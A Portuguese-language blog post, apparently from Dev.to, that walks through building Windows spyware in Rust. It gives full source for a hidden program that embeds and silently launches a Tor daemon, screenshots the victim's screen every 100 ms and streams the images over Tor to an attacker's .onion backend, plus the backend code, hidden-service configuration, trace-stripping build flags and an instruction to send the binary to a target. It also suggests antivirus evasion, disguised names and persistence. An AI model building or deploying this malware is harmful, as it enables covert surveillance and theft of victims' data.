Primeiro post
Sou um desenvolvedor com boa experiência na área, tendo como hobby sistemas embarcados e cibersegurança. Sempre fascinado em saber como as coisas funcionam "por de baixo dos panos", e na área de cibersegurança, esse sentimento não foi diferente.
Esse é meu primeiro post aqui no Dev.to. Algumas coisas talvez não saiam da maneira como esperaria, mas espero que saiam minimamente corretas.
Criei essa conta para explicar coisas que aprendi por mera curiosidade, e também para mostrar que nada em desenvolvimento é mágica. E que, de algum modo, as informações sempre se correlacionam.
Por que esse post?
Recentemente houve ataques a sistemas de empresas de tecnologia e a bancos, sendo desviados via Pix, R$ 1,5 bilhões. E então me bateu aquela neurose: os hackers conseguem invadir sistemas, desviar dinheiro e ainda saem impunes. Eu conhecia alguns métodos no qual isso era possÃvel, mas qual era a maneira que a maioria dos hackers faziam? Quais os motivos para escolherem aquele determinado método especÃfico?
Foi então que decidi me aprofundar e afunilar mais as possibilidades "botando a mão na massa", tentando criar um malware para estudo, que conseguisse usar a rede Tor para anonimato, simulando um caso real.
🚨 Aviso 🚨
Antes de tudo, quero deixar bem claro que esse post é somente para fins EDUCATIVOS. Qualquer uso desse conteúdo é por sua própria conta e risco.
Dito isso, então vamos lá!
Escopo
Minha linguagem principal é Rust, e, por me sentir mais confortável programando nela, decidi usá-la também na criação do malware. O programa vai capturar a imagem da tela, de tempos em tempos, e enviar para o backend através de WebSockets. Poderia ser feito para criar um shell reverso, streaming ao "vivo" da tela ou webcam, por exemplo, mas a base seria a mesma mudando apenas alguns detalhes.
Para fazer o backend, usei Rust com Axum, um framework web, para ouvir uma porta e receber as requisições. Aqui poderia ser algo
mais simples, mas decidi seguir por esse caminho mesmo.
Alguns detalhes
Mas, você ja deve ter chegado a seguinte conclusão:
"Isso seria facilmente rastreável, ninguém usaria dessa forma..."
E você está correto! Para dificultar a rastreabilidade, muitos hackers usam a rede Tor para ofuscar o envio de dados para um determinado endereço IP. Então, aqui nesse post eu irei mostrar a configuração básica do Tor para atingirmos esse objetivo.
Outro detalhe que talvez você tenha percebido: Tor não é um navegador, como grande parte das pessoas pensam. Ele em si é um daemon, ou seja, uma aplicação que roda em segundo plano, que sabe como se conectar nessa rede.
Para o malware conseguir enviar para o backend, que usa a rede Tor, o computador onde o malware está, também precisaria ter esse daemon para realizar a conexão dessa rede e encontrar o domÃnio que nosso backend vai escutar. Para isso, há diversas formas, mas vou passar duas:
A primeira é mais complexa, consiste em você mesmo realizar o build do Tor, gerar a lib estática (libtor.a, por exemplo), e linká-la com outras dependências (podendo ter que fazer o build do zero delas também) dessa lib no seu código Rust e chamar as funções do Tor via FFI (Foreign Function Interface). Essa prática funciona, deixa o binário menor, mas é mais complexa de ser realizada.
A segunda é mais fácil e simples, em troca de um malware mais pesado (~8MB a mais). Precisaria somente do binário do Tor para o sistema operacional alvo. Você o consegue fazendo o download do Tor Expert Bundle no próprio site.
Com o binário em mãos, você precisaria embutÃ-lo no binário do malware. Dessa forma, ao executar o malware, ele vai criar esse binário no computador alvo em runtime e, posteriormente, inicializar o Tor Daemon, com a porta que o Tor escuta, usando-o como proxy do seu malware. Toda requisição iria ser feita passando por esse proxy.
Essa solução é a que vamos usar.
Botando a mão na massa!
Os passos a seguir, dependem do sistema operacional que você usa. Irei usar Linux, mais especificamente o Fedora. Se você estiver usando Windows ou Mac pode ser que tenha que fazer alguns ajustes a mais, além dos especificados abaixo.
1. Baixando e configurando o Tor na sua máquina
Instale com o repositório da sua distribuição ou com wget
através do site oficial e extraia os arquivos.
sudo dnf install tor
Com isso já vai criar uma pasta no /etc/tor
e dentro dela vai ter um arquivo chamado torcc, que é o arquivo de configuração do Tor. Nele você pode configurar portas, relays, bridges, serviços, etc. Um exemplo dele você pode encontrar no repositório oficial.
Agora vamos precisar configurar o arquivo torcc.
# /etc/tor/torcc
...
SOCKSPort 9060 # somente necessário caso queira configurar uma
# porta diferente da 9050 (padrão).
HiddenServiceDir /var/lib/tor/backend-malware/ # o nome do seu serviço é o nome da sua ultima pasta,
# que no nosso caso vai ser "backend-malware"
HiddenServicePort 80 127.0.0.1:3000 # aqui você faz o mapping das portas dos serviços.
# No meu caso, qualquer pessoa que bater no meu domÃnio .onion na porta 80 vai
# ser redirecionado para a minha aplicação backend que vai ficar ouvindo requests na porta 3000.
...
Depois disso verifique se o serviço do Tor já está rodando. Se estiver, você precisará reiniciá-lo.
sudo systemctl restart tor
Ele automaticamente vai carregar o torcc daquela pasta, /etc/tor/torcc
, mas caso queira especificar outro caminho, você pode executar:
sudo systemctl stop tor
sudo -u toranon tor -f /seu/caminho/para/torcc
Obs.: ao instalar pelo repositório do Fedora, ele ja configura um user de segurança para acessar o Tor, chamado toranon. Então precisaria executar como acima.
Se tudo der certo, é para ele carregar o daemon e ter um Done no final.
Caso tenha rodado via service:
ou caso tenha rodado manualmente:
Vamos agora visualizar qual é nosso domÃnio Onion gerado:
sudo cat /var/lib/tor/backend-malware/hostname
ytnkxnl2diiqtpclrzvlbs56ml3vciekctn6dzcbysn55aumx273pcyd.onion
Obs.: Lembrando que o diretório do serviço foi criado conforme o path passado no arquivo torcc
, na propriedade HiddenServiceDir
.
Pronto! Seu Tor está rodando e pronto para receber as conexões!
2. Criando e configurando o Backend
Com o Tor daemon configurado na sua máquina e rodando, agora vamos criar o backend para receber as requisições através da rede Tor.
Crie um projeto Rust e entre na pasta com:
cargo new backend
cd backend
No arquivo Cargo.toml, vamos configurar as dependências:
# backend/Cargo.toml
[dependencies]
axum = { version = "0.8.4", features = ["ws"] }
tokio = { version = "1.47.1", features = ["full"] }
e agora vamos codar nosso backend:
use std::{error::Error};
use axum::{extract::{ws::{Message, WebSocket}, WebSocketUpgrade}, response::IntoResponse, routing::{get}, Router};
use tokio::{fs::File, io::AsyncWriteExt};
#[tokio::main]
async fn main() -> Result<(), Box<dyn Error>> {
let app = Router::new()
.route("/", get(getter))
.route("/ws", get(ws_handler));
let listener = tokio::net::TcpListener::bind("0.0.0.0:3000").await?;
axum::serve(listener, app).await?;
println!("Server has been started!");
Ok(())
}
async fn getter() -> &'static str {
"It's worked!"
}
async fn ws_handler(ws: WebSocketUpgrade) -> impl IntoResponse {
ws.on_upgrade(receive)
}
async fn receive(mut ws: WebSocket) {
while let Some(Ok(msg)) = ws.recv().await {
match msg {
Message::Binary(chunk) => {
let mut file = match File::create("received_image.png").await {
Ok(f) => {
println!("File created!!");
f
},
Err(e) => { println!("{e}"); return; }
};
if let Err(e) = file.write_all(&chunk).await {
eprintln!("Problem to write in the file... {e}");
}
},
Message::Text(text) => {
println!("Text: {}", text.as_str());
},
_ => {}
}
}
match ws.send(Message::Text("Message succefully received!".into())).await {
Err(e) => {
eprintln!("Problem to receive the message... {e}");
},
_ => {}
}
}
Obs.: No TcpListener::bind("0.0.0.0:3000")
você obrigatoriamente tem que passar a mesma porta que configurou no Tor (torcc
), na propriedade HiddenServicePort
. No nosso caso configuramos a porta 3000
.
Para testar, basta rodar a aplicação:
cargo run
Pronto! Nosso backend está funcionando!
É um backend normal e simples: ele recebe a requisição, faz o handshake para WebSocket dando o upgrade, chama a função para criar a imagem através dos bytes que recebemos através do canal.
Nada mirabolante!
Criando e configurando o nosso Malware
Aqui já podemos criar nosso malware:
cargo new malware
cd malware
e então, configurar nosso Cargo.toml
# malware/Cargo.toml
[dependencies]
futures-util = "0.3.31"
reqwest = { version = "0.12.23", features = ["socks"] }
tokio = { version = "1.47.1", features = ["full"] }
tokio-socks = "0.5.2"
tokio-tungstenite = { version = "0.27.0", features = ["url", "tokio-native-tls", "stream"] }
url = "2.5.7"
image = "0.25.8"
screenshots = "0.8.10"
[profile.release]
codegen-units = 1
strip = true
debug = false
opt-level = 3
lto = "fat"
panic = "abort"
Essa otimização do profile.release
é muito interessante para diminuir bastante o tamanho do binário final e aumentar a performance em troca de compilação mais lenta.
Agora, tem um segredinho que consegue melhorar um pouco mais o anonimato e o tamanho do binário, diminuindo menos dados sobre o sistema que gerou esse malware. Para isso, crie a pasta .cargo
no root da pasta do malware, e dentro dessa pasta crie o arquivo config.toml
.
Vamos editar esse arquivo agora:
# .cargo/config.toml
[unstable]
build-std = ["std", "panic_abort"]
build-std-features = ["panic_immediate_abort"]
[build]
rustflags = [
"-Z", "location-detail=none"
]
Essa configuração permite que ele, independente do panic que tiver, não vai mostrar nenhum tipo de dado local, como backtraces e paths de compilação. Por isso que recomendo fortemente usá-lo quando for gerar o build em release, não em development.
Por fim, precisamos instalar a versão nightly do compilador Rust para usar essas funcionalidades do config.toml
e instalar o target x86_64-pc-windows-gnu
para compilarmos para Windows:
rustup default nightly
rustup target add x86_64-pc-windows-gnu
Obs.: Provavelmente você vai precisar instalar o MinGW para compilar posteriormente usando o target x86_64-pc-windows-gnu
.
Antes de partirmos para o código do malware, precisamos baixar o daemon do Tor para a plataforma alvo, como falei anteriormente.
Aqui eu já recomendo realizar o download do Tor Expert Bundle mesmo, através do site oficial.
Como no nosso caso o S.O do computador alvo é Windows (x86_64), então vou baixar e extrair através do link:
# malware/
wget https://archive.torproject.org/tor-package-archive/torbrowser/14.5.6/tor-expert-bundle-windows-x86_64-14.5.6.tar.gz
mkdir tor-windows
tar -xzvf tor-expert-bundle-windows-x86_64-14.5.6.tar.gz -C ./tor-windows
Após isso, você verá que no diretório tor-windows/tor
existe um arquivo chamado tor.exe
. Esse arquivo é o nosso daemon que precisamos embutir no nosso malware.
Codando o Malware
Ainda na pasta malware/
, vamos editar seu main.rs:
#![windows_subsystem = "windows"] // Atributo necessário para executar em segundo plano no Windows
use std::{env::temp_dir, error::Error, process::Stdio, sync::Arc, time::Duration};
use futures_util::{SinkExt};
use image::{codecs::png::{PngEncoder}, ImageEncoder};
use screenshots::Screen;
use tokio::{fs::{self, File}, io::{AsyncBufReadExt, AsyncWriteExt, BufReader}, process::Command, sync::{Mutex}, time::sleep};
use tokio_socks::tcp::Socks5Stream;
use tokio_tungstenite::{client_async, tungstenite::Message};
use url::Url;
#[tokio::main]
async fn main() -> Result<(), Box<dyn Error>> {
#[cfg(target_os = "windows")]
const TOR_BIN: &[u8] = include_bytes!("../tor-windows/tor/tor.exe"); // Embute o daemon no nosso binário final
let exe_path = temp_dir().join("tor_temp.exe");
{
if exe_path.exists() {
let _ = fs::remove_file(&exe_path);
}
let mut file_tor = File::create(&exe_path).await?;
file_tor.write_all(TOR_BIN).await?; // Cria o daemon que está embutido no nosso malware na pasta %temp%
}
#[cfg(target_os = "windows")]
let mut child = Command::new(&exe_path) // Cria um processo para executar o daemon
.creation_flags(0x08000000) // Flags para forçar o processo a não abrir nenhuma janela
.stdout(Stdio::piped()) // Recupera saida Ok!
.stderr(Stdio::piped()) // Recupera saida Erro!
.spawn()?;
let mut reader = BufReader::new(child.stdout.take().unwrap()).lines();
while let Some(line) = reader.next_line().await? {
println!("{}", line);
if line.contains("Bootstrapped 100%") { // Espera o serviço do Tor ficar pronto (Done)
println!("Tor está pronto!");
break;
}
}
let target = "ws://ytnkxnl2diiqtpclrzvlbs56ml3vciekctn6dzcbysn55aumx273pcyd.onion:80/ws"; // Nosso endereço .onion que criamos anteriormente e selecionando a rota /ws para criar conexão WebSocket
let url = Url::parse(target)?;
let proxy_addr = "127.0.0.1:9050"; // Usa o proxy do daemon em execução (porta padrão 9050)
let url_host = match url.host_str() {
Some(u) => u,
None => { return Err("Problem with url_host".into()); }
};
let url_port = match url.port_or_known_default() {
Some(p) => p,
None => { return Err("Problem with url_port".into()); }
};
let target_addr = (url_host, url_port);
let mut stream = Socks5Stream::connect(proxy_addr, target_addr).await; // Cria a conexão TCP com o target usando o proxy SOCKS5
while let Err(_) = stream {
stream = Socks5Stream::connect(proxy_addr, target_addr).await;
}
let (mut ws_stream, _) = client_async(url, stream?).await?; // Realiza a conexão WebSocket em cima da conexão TCP existente
println!("Connected!");
ws_stream.send(Message::Text("Connected with server!".into())).await?;
let ws_stream_ref = Arc::new(Mutex::new(ws_stream)); // Cria um Arc para passar um clone para dentro da Task.
tokio::spawn(async move {
loop {
let mut buff = Vec::new();
let screens = Screen::all().unwrap();
let screen = screens[0]; // Pega a primeira tela
let image = screen.capture().unwrap(); // Captura a tela
let encoder = PngEncoder::new(&mut buff);
let _ = encoder.write_image(&image, image.width(), image.height(), image::ExtendedColorType::Rgba8); // Faz o encoding da imagem para PNG
let mut ws = ws_stream_ref.lock().await;
if let Err(_) = ws.send(Message::Binary(buff.into())).await { // Envia a imagem em bytes
continue;
}
println!("Sended");
sleep(Duration::from_millis(100)).await;
}
});
tokio::signal::ctrl_c().await?; // Para cancelar a aplicação para testes
Ok(())
}
e agora compilar usando:
# malware/
cargo build --release --target x86_64-pc-windows-gnu
# ou
cargo b -r --target x86_64-pc-windows-gnu
Pronto! Agora é só pegar o binário do seu malware no target/x86_64-pc-windows-gnu/release/malware.exe
e enviar para o computador alvo e esperar a execução.
O backend que criamos precisa estar rodando, então lembre-se:
# backend/
cargo run --release
# ou
cargo r -r
E verifique também se na sua máquina o Tor está rodando. O output deve ser como as imagens que enviei acima.
É isso!
Adendos
Todo esse projeto é um exemplo para estudo, então o foco aqui não é ser o mais limpo ou mais engenhoso possÃvel, mas sim facilitar o aprendizado.
Tem diversos outros itens que poderÃamos falar para acrescentar, como:
- Ofuscação de algumas partes do código, para dificultar a detecção de antivÃrus e engenharia reversa;
- Reconnect automático;
- Outros tipos de comunicação;
- A troca do nome do binário para um nome menos chamativo, podendo até se passar por um serviço da maquina alvo;
- Auto start com a máquina;
- Escalonamento de privilégios;
- Métodos mais anônimos;
- Otimização do algoritmo;
- Entre outros...
Resultados
*Resultado obtido usando uma máquina virtual como alvo.
Viu como nada é mágica?
Brincadeira à parte.
Você entende como conceitos, como funcionamento de backends, requests, redes, Tor, parsing de bytes, encoding de imagens e proxy se correlacionam?
Foi um estudo bem interessante, adquirindo conhecimentos de novos métodos e alguns padrões que os hackers usam.
Espero que tenha gostado!
Qualquer correção ou auxÃlio será bem-vindo!
Muito obrigado e até a próxima! 👋
Top comments (0)